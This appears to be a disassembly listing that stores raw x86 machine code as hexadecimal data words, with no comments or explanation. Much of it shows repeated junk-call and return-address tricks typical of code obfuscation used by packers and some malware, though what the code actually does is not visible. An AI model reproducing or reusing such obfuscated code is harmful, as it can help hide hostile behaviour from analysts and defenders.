dd 0E01B61B5h, 4E807h, 3FF0000h, 0F88A001Fh, 15830F50h
dd 57000000h, 0DE8h, 2FBEC600h, 3DE8408Eh, 0C1B7CB11h
dd 5B5F0879h, 424448Bh, 0A5C55DBFh, 0E9008B16h, 5, 30216A68h
dd 2444890Fh, 0A45CBB04h, 6A5844C0h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 60D8C355h
dd 2DBD2357h, 5B07E016h, 7AD6E381h, 95FF1463h, 7E021CDh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h
dd 92A6B875h, 898F3780h, 0E3CBAD85h, 1BD78007h, 241E9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0B77ADC93h, 56D60656h, 858BE117h, 7E3CBA5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A3C35545h
dd 3603DDF4h, 0C7F52Eh, 18h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 1CC35646h, 0DBC9D483h, 3FE0D81h
dd 0CBA9B58Bh, 6A07E3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0E9313CC3h, 1A7075E3h, 33458529h
dd 0AE807E0h, 3E000000h, 0EE0B307Dh, 0E4672A0Fh, 0C595011Bh
dd 5B07E000h, 5F9858Bh, 0D98B07E0h, 9D8B0689h, 7E00189h
dd 8BD8B70Fh, 0E0339985h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 378D19A2h
dd 0B501A2F2h, 7E011E9h, 4689FA8Ah, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0DA3EB89Dh
dd 0EE98Ch, 0ED670000h, 0AC10346Ah, 96191DB4h, 0A10E20Fh
dd 831A60BBh, 0FA8B664Eh, 0DF8B6696h, 85899650h, 7E01E19h
dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0BB001F03h, 2EAA9B21h
dd 24448B50h, 0B7C7BF04h, 8B3C0Bh, 5A525060h, 78B96059h
dd 662FC77Bh, 616539BBh, 24448961h, 1CBF6604h, 6A58BCh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 81E5F1C3h, 256F0CF7h, 0EE9E325h, 8C000000h, 1E794F6Bh
dd 896D37BEh, 0F9C52D0Ah, 0AD858D05h, 6A07E3CBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0DCB7C356h, 0FE8B90FEh, 0C850F50h, 0E9000000h, 7, 0E9A6911Ch
dd 90F8C69Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0E7C35141h, 8B66C4C9h, 0CD95FFF8h, 6A07E021h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 5776C356h, 51BD8B29h, 6607E01Bh, 6A61DF8Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 2F7BC357h, 7F303145h, 79BD8923h, 0BF07E032h, 6784FCA0h
dd 22C585C7h, 307E0h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0F0A57EC3h, 81EB1E9Ch
dd 7489A7C3h, 0DE951h, 8A7D0000h, 0FC5AA7E8h, 54F633C7h
dd 83A21600h, 0E3CBADBDh, 840F0007h, 30h, 0E9D9BF0Fh, 43h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 61C35040h
dd 0FF883E0h, 66FC8294h, 36D8F781h, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 193AC353h, 1225BD89h, 9D8B07E0h, 7E02671h, 6810Fh, 0B5890000h
dd 7E011BDh, 22C5BD83h, 0F0307E0h, 41185h, 2BF98B00h, 0E03025BDh
dd 0ADBD8307h, 7E3CBh, 3FC840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 8BD5E4C3h
dd 0E023419Dh, 0ADB5FF07h, 5307E3CBh, 13DBD8Bh, 895B07E0h
dd 0E0199D8Dh, 0A995FF07h, 6A07E01Dh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7A7C356h
dd 0BEC7C1FDh, 77EFD7BEh, 8BF9BF0Fh, 0E3CBA1B5h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0DF4AAB5Ah, 106C7E6h, 6A000100h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C629C353h
dd 47BAC7CDh, 0ABDF81A3h, 9607ADA0h, 0F5087B3h, 8Eh, 6A9600h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 813E28C3h, 0A4D6D8DFh, 0ADB5FF65h, 0FF07E3CBh, 0E0301195h
dd 1D9D8B07h, 8B07E005h, 0E3CBA1B5h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0DB819BE9h
dd 7BF2BA82h, 8E12BBFh, 0D1858B4Dh, 6A07E022h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0DB46C351h, 89F8B604h, 0C486h, 0F3805300h, 958B5F31h
dd 7E01815h, 2840Fh, 0CAB30000h, 8904C283h, 0E025899Dh
dd 20508907h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0C9C35242h, 0D4858D42h, 6A07E3E0h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0EA44C353h
dd 2C520B74h, 0B886892Fh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0C8E0C357h, 0E175DA91h
dd 6A52C57Ch, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 3AFE92ECh, 0CBADB5FFh, 0FFFC07E3h
dd 0E02A9995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0DE5775C8h, 0F01A639h
dd 0E850DBBFh, 9, 9ABBE8DEh, 1850440h, 5FFE8B45h, 8B243489h
dd 0ADB5FFDEh, 6607E3CBh, 95FFFB8Bh, 7E028E9h, 0A1852957h
dd 5F07E028h, 28E1BD83h, 0F0007E0h, 6D84h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 7395387Ch, 8BD02735h, 0E013E59Dh, 830F5007h, 1Fh, 11E95250h
dd 0EF000000h, 805189A2h, 3FAD42BCh, 540B26E1h, 8877C407h
dd 8B66310Fh, 89585AFEh, 6A2434h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0B5FF68C3h, 7E3CBADh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CEC35545h
dd 2B42DAACh, 0F6CEA4Ch, 3595FF58h, 6A07E030h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 9C61C352h, 0A42B3AD9h, 9D641B84h, 0AE9h, 0BCF26100h
dd 360C10D4h, 80CC2281h, 0B5FF01C7h, 7E3CBADh, 0AE9h, 0FABD6900h
dd 4708809Dh, 0FF53E9C1h, 0E001B995h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 89E7F8ABh, 0E015419Dh, 31BD8307h, 207E007h, 5F840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 182EB0C3h, 8B664D7Bh, 8B84B3D8h, 0E0203985h
dd 0E3816607h, 0C6DA6Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 752945D7h, 0F40BBFEh
dd 8Eh, 16BB6600h, 3D85C760h, 7E004h, 80000000h, 0CCE90DE3h
dd 89FFFFF2h, 0E007D59Dh, 0FC18B07h, 38Ch, 0DF8B6600h
dd 13C9858Dh, 665207E0h, 2B5BDE8Bh, 0E028B99Dh, 60609007h
dd 11E8h, 3CED7900h, 2BCFAFCEh, 2E09A5Bh, 589C2A82h, 615FA4C0h
dd 61C88B66h, 0BB525050h, 20272305h, 0BE9310Fh, 64000000h
dd 42912EEh, 92C34B5Ch, 585AF0DBh, 0A840F90h, 0F000000h
dd 484h, 0EFBF6600h, 8B006A7Fh, 0E004C59Dh, 6A006A07h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0AE2C355h, 29F53BC8h, 9D315485h, 7E020A9h
dd 640C858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0E666BDC3h, 159D894Fh, 8307E004h
dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0E9256BC3h, 0C212715Fh, 0BD09E401h, 7E02395h
dd 0D8C2BB50h, 48938E5h, 85296024h, 7E01F5Dh, 2C3DBD89h
dd 6A6107E0h, 9D895000h, 7E01E71h, 6A006A5Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0E530C357h, 3810Fh, 8B660000h, 4195FFD9h, 0E807E034h
dd 7, 46606776h, 665107D7h, 0F5BF98Bh, 8D8DFBBFh, 7E3A393h
dd 110DBD29h, 0D1FF07E0h, 0CE9h, 0E7FF7D00h, 7430A050h
dd 2A43A2D9h, 0B1BD8353h, 107E016h, 96850Fh, 8F0F0000h
dd 5, 58E38166h, 6A026ABBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 385FC352h, 0FC6E2F1Eh
dd 6820Fh, 0EB810000h, 1244BC55h, 12E990h, 57830000h, 38CECF0Ch
dd 67E4B3E7h, 0B215088Eh, 1AA6B020h, 14E950h, 9CDD0000h
dd 49069375h, 0F7E0D5E4h, 98F7FD25h, 5BDF956Ch, 6A90E81Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0F459C353h, 803F5443h, 95FFCFD7h, 7E02A99h
dd 0DA7E9h, 0E800h, 815D0000h, 0E46416EDh, 0F9B70F07h
dd 6AF8BF0Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 35FBC351h, 0A915393Fh, 8D158BB6h
dd 0E3946385h, 0ED9D8B07h, 5007E026h, 0BF565250h, 4BE72018h
dd 50310F5Fh, 0F5B5652h, 5AF98B31h, 89585A58h, 6A2404h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 66F97CC3h, 0FF64FE8Bh, 35h, 41B58900h, 6407E026h, 2589h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0E02D27C3h, 0D61BEE5Fh, 0FFDBB70Fh, 0E020FD85h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 147A6346h, 0F381663Dh, 0FF6A7A7Ch, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 22C35343h, 636F7A64h
dd 44876ADh, 59B5FF4Dh, 0E907E00Fh, 0Dh, 0B4FE0463h, 462A6C97h
dd 6EBA3CD9h, 95FFFCDAh, 7E03389h, 128E9h, 918D0900h, 8B07E033h
dd 0E02AFD9Dh, 0F900B007h, 11E8h, 0D1004500h, 79A60EBh
dd 0DC3AA07Ah, 0E32C6653h, 6E8EC8Eh, 75000000h, 0D74EB5A6h
dd 0E65B5FFFh, 0AD37BB70h, 71E4522Eh, 3C81CF80h, 0E2830F61h
dd 0F000000h, 0B60FD9B7h, 0D9D8BC8h, 0BA07E005h, 6, 0BF0FC18Bh
dd 4E8C1F9h, 17C59589h, 0F76607E0h, 0E99D8BE2h, 2B07E001h
dd 0C5BD8BC8h, 8B07E000h, 0D6BB66D1h, 16E9C4h, 0AE80000h
dd 0A9000000h, 59532F6h, 0F2366F07h, 59B589ABh, 5F07E026h
dd 12FD858Bh, 0B58907E0h, 7E03039h, 8907C083h, 0E00F51B5h
dd 0C08307h, 830FD03Bh, 35h, 13E8h, 0FD6C2000h, 5FAF1EB8h
dd 1CA7BA27h, 0C4FFA4F4h, 5556B42Fh, 0CE9h, 0A4707F00h
dd 47E5076Bh, 85039A94h, 42E95B96h, 33000000h, 0E004F5BDh
dd 0BD8D8B07h, 0B307E008h, 0AE9BBh, 4E570000h, 524FFEA1h
dd 76914C68h, 0F01E183h, 1C84h, 0BDA58300h, 0FE07E008h
dd 2840Fh, 32B30000h, 12FD9589h, 8EB307E0h, 0E9h, 18B58D00h
dd 0E907E3F3h, 0Ch, 0D50A814Eh, 4BF756F6h, 0C71332DCh
dd 8D89006Ah, 7E0204Dh, 18A995FFh, 8E0F07E0h, 6, 154D9531h
dd 0FE807E0h, 0AB000000h, 0CB4FEDCAh, 884C3E5h, 5E7F353Bh
dd 0BD8B9E83h, 7E025C9h, 0E69B95Fh, 85890000h, 7E03275h
dd 66FCE183h, 0FCBBEFBBh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 29AB0FC3h, 0D3BB6623h
dd 0BBD22B57h, 26DB7FA7h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 11800Fh, 0CE90000h, 0F0000000h, 0B4255CDEh, 2B67E54h
dd 0E9B17908h, 7, 5C5FDE05h, 0E8D5F0D4h, 12h, 463877F4h
dd 1F6E797Fh, 648579F4h, 0FBC57757h, 9D8920AEh, 7E025FDh
dd 880D5Fh, 6AB70000h, 1815958Bh, 8B6607E0h, 498D8BD8h
dd 6A07E020h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 6903C352h, 0E1B58943h, 5007E023h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 6043E021h, 5DBD0B42h, 0E907E020h, 0Dh, 864F5254h
dd 2C3EB2F3h, 0E11EF29Bh, 81666057h, 0BFA4CBD9h, 6CBBE4C2h
dd 0F5BD8361h, 7E012h, 77840Fh, 0BD8B0000h, 7E00169h, 0B8h
dd 37C38100h, 8D4EFF6Ch, 0E04EE88Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 105EFA64h
dd 0A39068D6h, 0FFDF8BF5h, 55006AE1h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E61B9B0h
dd 0E9F57DECh, 11h, 47AC1104h, 0E2E1E335h, 6853BEA2h, 5A2A1807h
dd 0C5BD8321h, 7E022h, 47D840Fh, 81660000h, 2912CEE7h
dd 0E02A598Dh, 0C5BD8307h, 107E022h, 480840Fh, 89600000h
dd 0E010619Dh, 1DB58B07h, 6107E021h, 22C5BD83h, 0F0307E0h
dd 42F86h, 0EDBD8B00h, 6007E02Fh, 6AD98C66h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 68D4C357h, 4E1808Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 21C35141h, 0FC90ABDh, 19B84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 6A42139Fh, 0BD095033h, 7E017B1h, 4850F5Bh, 66000000h
dd 8B5BD5BBh, 0E0339985h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E8CD9FE6h
dd 10h, 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 5840Fh
dd 81660000h, 5B25E3E3h, 31898533h, 6A07E0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0FD1712C3h
dd 3BD38166h, 0EE85074h, 48000000h, 0BD657C81h, 0BDA8689Eh
dd 96F7BB63h, 0EE8ADh, 2FCB0000h, 0BAF8E855h, 64B21132h
dd 788360CAh, 5B5B5B56h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3E11C351h
dd 3E936DF1h, 6A28C903h, 23EF8100h, 663FED54h, 0E88745BFh
dd 4, 1F03FFh, 0DCCEBF66h, 24448B50h, 60008B04h, 7E8h
dd 7B966D00h, 81059753h, 310F5250h, 6159585Ah, 4244489h
dd 0F5BF5250h, 0F7F454Fh, 5A506031h, 310F5250h, 5A61585Ah
dd 6A5858h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0AD1E86C3h, 95FF0CC3h, 7E021CDh, 1D259D2Bh
dd 858907E0h, 7E3CBADh, 0E9F88B66h, 1DBh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 17C35747h, 39548BDh
dd 0CBA5858Bh, 6A07E3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 22FECAC3h, 9A6434BBh, 1800C715h
dd 8B000000h, 0E3CBA9B5h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0FBB70F0Ch
dd 5F9858Bh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0F7D39CC3h, 2F22A29Eh, 896D5582h
dd 0E01BB98Dh, 8973B707h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FB1CD60h
dd 0F0B7FABFh, 3399858Bh, 6A07E0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 32304EC3h, 6A044689h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0F941C352h, 8954A8B9h, 0E00471B5h, 0E8605007h
dd 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h
dd 94795BBBh, 98B55865h, 24348961h, 2C9DB589h, 0B5FF07E0h
dd 7E3CBA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 97C35040h, 8B86977Eh, 48BB7C5h, 0A820Fh, 880F0000h
dd 4, 98C2BB66h, 0B820CB81h, 6668262Dh, 8BAD4FDBh, 240481DFh
dd 52CF2899h, 0AD858DF8h, 6A07E3CBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0BB29C356h
dd 42C61495h, 38C0Fh, 8B660000h, 48950F9h, 51858924h, 0FF07E02Eh
dd 0E021CD95h, 99953107h, 6107E026h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 0ABC35747h, 2960509Ah, 0E012359Dh
dd 15958907h, 6107E01Dh, 22C585C7h, 307E0h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 71E2F6C3h, 83EA853Fh, 0E3CBADBDh, 840F0007h, 24h, 86AABF50h
dd 0E95B6DECh, 33h, 13E9h, 0AC966400h, 85422482h, 0D8033FFFh
dd 0FB393D80h, 0B3C05DA2h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0FC52C353h, 0C7B2B21Fh
dd 445BD8Bh, 8E907E0h, 3A000000h, 2E21409Dh, 833E517Fh
dd 0E022C5BDh, 850F0307h, 43Bh, 3A7ADB81h, 0BD833848h
dd 7E3CBADh, 28840F00h, 0F000004h, 0CCB7DFB7h, 0CBADB5FFh
dd 0BD8B07E3h, 7E01A49h, 0A995FFFCh, 0BF07E01Dh, 1AB91CF4h
dd 0CBA1B58Bh, 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0EE9686C3h, 2A858589h, 6C707E0h
dd 10001h, 459BD8Bh, 0F9607E0h, 88h, 8B605000h, 2850FD0h
dd 8B000000h, 6A9661F3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 1BD4C356h, 59A90E94h
dd 0EE95413h, 0FC000000h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h
dd 0ADB5FFD1h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0A190C352h, 0FCA75A28h
dd 3D9D0302h, 0FF07E034h, 0E0301195h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0CD67B9CEh, 958D89DEh, 8B07E016h, 0E3CBA1B5h, 0C9BB6607h
dd 0D1858B75h, 6607E022h, 0A008CB81h, 0C48689h, 0BD290000h
dd 7E01AA9h, 1815958Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 562944C3h, 0F5A63570h
dd 4C283B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 50C35141h, 0E8ABAD36h, 6, 69097C85h, 0B589FA19h
dd 7E03045h, 2050895Bh, 10B9CF81h, 890F710Eh, 6, 3185B529h
dd 858D07E0h, 7E3E0D4h, 33519D89h, 868907E0h, 0B8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BBC35242h, 0E1F855FFh
dd 66A8E169h, 6AB804BFh, 0A99D0300h, 8B07E015h, 0E01A299Dh
dd 0ADB5FF07h, 0F907E3CBh, 2A9995FFh, 6A07E0h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 50A987C3h, 10E8h, 74FD900h, 9B7AB819h, 77303930h, 72936124h
dd 8B666077h, 890FC2h, 61000000h, 2434895Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6CC35646h, 0AA260EBBh
dd 0B5FF1297h, 7E3CBADh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h, 502408E7h
dd 28E995FFh, 1FB707E0h, 28E1BD83h, 0F0007E0h, 8184h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 4C2C0919h, 70582CB5h, 8D8960E7h, 7E02F29h, 6870Fh, 0B58B0000h
dd 7E01CADh, 9675B761h, 13E9h, 0B987E100h, 0BF82E93Eh
dd 0B665E7FAh, 1508EBFh, 68ABF06Ah, 96FA8B50h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 66C35141h, 5E9C993h
dd 0C1000000h, 5614257Ch, 0B5FFFC8Ah, 7E3CBADh, 2F0D8D89h
dd 95FF07E0h, 7E03035h, 1CADB531h, 0B5FF07E0h, 7E3CBADh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BDC35343h
dd 0AA79032Eh, 66F03970h, 0B758F781h, 1B995FFh, 6A07E0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0AAF37EC3h, 8BC7F7F2h, 0E01A0D9Dh, 31BD8307h, 207E007h
dd 7D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0F7F7A2C3h, 57995AB2h, 18890Fh
dd 12E80000h, 0E3000000h, 7B858609h, 6FBDFCB8h, 0F33985ACh
dd 0BB47026Fh, 8B5F5F1Bh, 39858BFAh, 6A07E020h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 5C08C356h, 15E54DAFh, 38D0FFCh, 66000000h, 0C6DA8Bh
dd 15858900h, 0C707E007h, 0E0043D85h, 7, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0CCBBED6Eh, 0E958C5C4h, 0FFFFF35Eh, 6AC18Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 9D8BE1C3h, 7E0226Dh, 13C9858Dh, 6A07E0h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0EA3096C3h
dd 5C9807E8h, 16212FBBh, 0D7816645h, 8B90F99Bh, 13E950D9h
dd 0B5000000h, 0C23F3836h, 8DD63F2Ch, 11B1553Eh, 2BBC37B7h
dd 6A90E636h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0D177C355h, 9D897290h, 7E007F5h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 9F8209C3h, 120C2CC9h, 898E38EFh, 0E02C519Dh
dd 6A006A07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 8269C357h, 8BD98B3Fh, 0E02D9D9Dh
dd 0E2858D07h, 6A07E473h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 2CE5C353h, 0F3CA69E8h
dd 83345E36h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0BCC130C3h, 3195890Dh, 9007E026h
dd 0EE957h, 7DB10000h, 0CE61F9D9h, 0F4DFA8BAh, 0DF8C1DB9h
dd 8B0F505Fh, 8, 2810Fh, 5F510000h, 80BB6690h, 0DE8B503Ch
dd 0E9006A5Fh, 10h, 0E2F6D930h, 0EA853F71h, 22E6A3EBh
dd 74FD94Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 45B1E1C3h, 39814F83h, 0C88E36BFh
dd 95BD8B48h, 6607E005h, 0FFBA0ABBh, 0E0344195h, 55BD0907h
dd 8D07E01Bh, 0E3A3938Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66FD1Bh
dd 0FE8B60D8h, 3481BD8Bh, 0FF6107E0h, 0B19D23D1h, 8307E010h
dd 0E016B1BDh, 850F0107h, 46h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 83C35141h, 59D8B73h, 6A07E02Fh
dd 0EBFF502h, 50033292h, 9F5B9FBFh, 2404890Ch, 6850Fh
dd 9D0B0000h, 7E00DF9h, 2A9995FFh, 0C9E907E0h, 0E800000Ch
dd 0
aBaSfJ db ']íìsä',7,'j',0
db 53h, 0E8h, 3
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0BE56C353h, 0F7EC083Fh, 9BD89F8h, 8D07E018h, 0E3946385h
dd 10E907h, 0EB160000h, 0F856E10Fh, 263C05E8h, 65D40F38h
dd 0DE9BF45h, 88000000h, 0C15E4D9Eh, 0B6FA8C22h, 1897F0A6h
dd 0DA8B6650h, 0E9240489h, 0Dh, 42957138h, 5510F34Ch, 0F0807573h
dd 64FA8BE1h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 413D18C3h, 89FB8B66h
dd 0E01D9DBDh, 25896407h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6DC35141h
dd 85FFD140h, 7E020FDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0DEC35545h, 1CC9BD33h, 7E907E0h, 38000000h
dd 77DEAD7Bh, 0FF6A3372h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 0D0C35747h, 1B41B5FFh, 6A07E0h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BB6681C3h, 95FFCB2Fh, 7E03389h, 119E9h, 0FD9D8B00h
dd 0B007E007h, 2D852900h, 8907E031h, 0E01C059Dh, 6070E607h
dd 14A5B58Bh, 5E907E0h, 0B4000000h, 0C41B24A1h, 81858961h
dd 0E407E026h, 0F613C71h, 0E183h, 1FCF8100h, 0E958FFB4h
dd 13h, 17BEFE2Eh, 99F6AEB9h, 9CF85A6Bh, 1EAC7286h, 0F2320BBh
dd 6BAC8B6h, 89000000h, 0E008FDB5h, 81C18B07h, 7F3687D3h
dd 33DFBB7Ch, 0E8C16BC1h, 0BD9D8B04h, 6607E026h, 9D89E2F7h
dd 7E0312Dh, 0FE9C82Bh, 0B5000000h, 97EA394Ah, 9E5EC052h
dd 0C9709ACBh, 0D18B0C8Fh, 0E9F88B66h, 6, 30398509h, 858B07E0h
dd 7E0126Dh, 8337E380h, 0DE8B07C0h, 6000C083h, 2439BD8Bh
dd 3B6107E0h, 17830FD0h, 0F000000h, 688h, 61BD0100h, 0E907E02Ah
